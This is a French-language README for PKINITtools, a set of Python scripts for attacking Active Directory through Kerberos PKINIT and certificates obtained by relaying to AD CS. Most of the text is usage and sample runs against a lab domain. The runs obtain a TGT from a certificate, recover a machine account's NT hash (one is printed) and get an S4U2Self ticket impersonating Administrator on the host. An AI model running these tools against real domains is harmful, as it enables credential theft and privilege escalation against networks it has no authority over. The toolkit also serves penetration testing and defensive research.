
Outils pour Kerberos PKINIT et relais vers AD CS
Ce dépôt contient quelques utilitaires pour travailler avec PKINIT et les certificats.
Les outils sont basés sur minikerberos et impacket. Article de blog accompagnant avec plus de contexte : https://dirkjanm.io/ntlm-relaying-to-ad-certificate-services/
Ces outils ne sont compatibles qu'avec Python 3.5+. Clonez le dépôt depuis GitHub, installez les dépendances et vous devriez être prêt :
git clone https://github.com/dirkjanm/PKINITtools
pip3 install impacket minikerberos
L'utilisation d'un virtualenv est recommandée.
Demande un TGT en utilisant un fichier PFX, soit sous forme de fichier, soit sous forme de blob encodé en base64, ou des fichiers PEM pour cert+key. Cela utilise Kerberos PKINIT et produira un TGT dans le ccache spécifié. Il affichera également la clé de chiffrement AS-REP dont vous pourriez avoir besoin pour l'outil getnthash.py. Exemple d'utilisation :
(PKINITtools) user@localhost:~/PKINITtools$ python gettgtpkinit.py -h
usage: gettgtpkinit.py [-h] [-cert-pfx file] [-pfx-pass password] [-pfx-base64 BASE64] [-cert-pem file] [-key-pem file] [-dc-ip DC_IP] [-v]
domain/username ccache
Demande un TGT en utilisant Kerberos PKINIT et un certificat+clé basé sur PEM ou PFX
arguments positionnels :
domain/username Domaine et nom d'utilisateur dans le certificat
ccache Fichier ccache pour stocker le TGT
arguments optionnels :
-h, --help Affiche ce message d'aide et quitte
-cert-pfx file Fichier PFX
-pfx-pass password Mot de passe du fichier PFX
-pfx-base64 BASE64 Fichier PFX sous forme de chaîne base64
-cert-pem file Certificat au format PEM
-key-pem file Fichier de clé privée au format PEM
-dc-ip DC_IP Adresse IP ou nom d'hôte du DC à utiliser comme KDC
-v, --verbose
(PKINITtools) user@localhost:~/PKINITtools$ python gettgtpkinit.py testsegment.local/s2019dc\$ -cert-pfx ~/impacket-py3/cert.pfx -pfx-pass hoi s2019dc.ccache
2021-07-27 21:25:24,299 minikerberos INFO Chargement du certificat et de la clé depuis le fichier
2021-07-27 21:25:24,316 minikerberos INFO Demande du TGT
2021-07-27 21:25:24,333 minikerberos INFO Clé de chiffrement AS-REP (vous pourriez en avoir besoin plus tard) :
2021-07-27 21:25:24,333 minikerberos INFO 5769dff44ebeaa5a37b4e9f7005f63063ffd7c198b747ae72021901e8063b0e3
2021-07-27 21:25:24,336 minikerberos INFO TGT sauvegardé dans le fichier
Utilise Kerberos U2U pour soumettre une demande TGS pour vous-même. Cela inclura le PAC qui à son tour contient le NT hash que vous pouvez déchiffrer avec la clé AS-REP qui a été utilisée pour votre TGT spécifique. C'est magique en fait. Cet outil nécessite qu'un TGT résultant de PKINIT soit dans votre variable d'environnement KRB5CCNAME. Utilisation :
(PKINITtools) user@localhost:~/PKINITtools$ python getnthash.py -h
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
usage: getnthash.py [-h] -key KEY [-dc-ip ip address] [-debug] identity
arguments positionnels :
identity Domaine/nom d'utilisateur
arguments optionnels :
-h, --help Affiche ce message d'aide et quitte
-key KEY Clé AS-REP provenant de gettgtpkinit.py
-dc-ip ip address Adresse IP du contrôleur de domaine. Si omise, utilise la partie domaine (FQDN) spécifiée dans le paramètre cible
-debug Active la sortie DEBUG
(PKINITtools) user@localhost:~/PKINITtools$ export KRB5CCNAME=s2019dc.ccache
(PKINITtools) user@localhost:~/PKINITtools$ python getnthash.py testsegment.local/s2019dc\$ -key 5769dff44ebeaa5a37b4e9f7005f63063ffd7c198b747ae72021901e8063b0e3
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
[*] Utilisation du TGT depuis le cache
[*] Demande d'un ticket pour soi-même avec PAC
Hash NT récupéré
fa6b130d73311d1be5495f589f9f4571
Utilise Kerberos S4U2Self pour demander un ticket de service valide sur l'hôte pour lequel vous avez obtenu un certificat. Ce ticket peut ensuite être utilisé pour interagir avec l'hôte d'origine. Cela nécessite uniquement un TGT pour le compte machine de cet hôte. Ce TGT doit se trouver dans un fichier ccache que vous spécifiez dans le kerberos_connection_url. Le seul kerberos_connection_url accepté pour cet exemple est celui contenant un fichier ccache, par exemple kerberos+ccache://domain.local\\victimhostname\$:[email protected]. Le SPN doit être un nom de service sur l'hôte que vous usurpez, vous ne pouvez pas l'utiliser pour des attaques de délégation (car il n'implémente pas S4U2Proxy, il existe déjà de nombreux outils pour cela). Utilisation :
(PKINITtools) user@localhost:~/PKINITtools$ python gets4uticket.py -h
usage: gets4uticket.py [-h] [-v] kerberos_connection_url spn targetuser ccache
Obtient un ticket S4U2self en usurpant l'utilisateur donné
arguments positionnels :
kerberos_connection_url
la chaîne cible kerberos au format kerberos+ccache://domain\user:file.ccache@<domaincontroller-ip>
spn le principal de service au format <service>/<server-hostname>@<domain> Exemple : cifs/[email protected] pour un
ticket TGS à utiliser pour l'accès aux fichiers sur le serveur "fileserver". IMPORTANT : LE NOM D'HÔTE DU SERVEUR DOIT ÊTRE UTILISÉ, PAS L'IP !!!
targetuser
ccache Fichier ccache pour stocker le ticket TGT
arguments optionnels :
-h, --help Affiche ce message d'aide et quitte
-v, --verbose
(PKINITtools) user@localhost:~/PKINITtools$ python gets4uticket.py kerberos+ccache://testsegment.local\\s2019dc\$:[email protected] cifs/[email protected] [email protected] out.ccache -v
2021-07-28 10:09:13,687 minikerberos INFO Tentative d'obtention du SPN avec [email protected] pour cifs/[email protected]
2021-07-28 10:09:13,695 minikerberos INFO Succès !
2021-07-28 10:09:13,696 minikerberos INFO Terminé !
MIT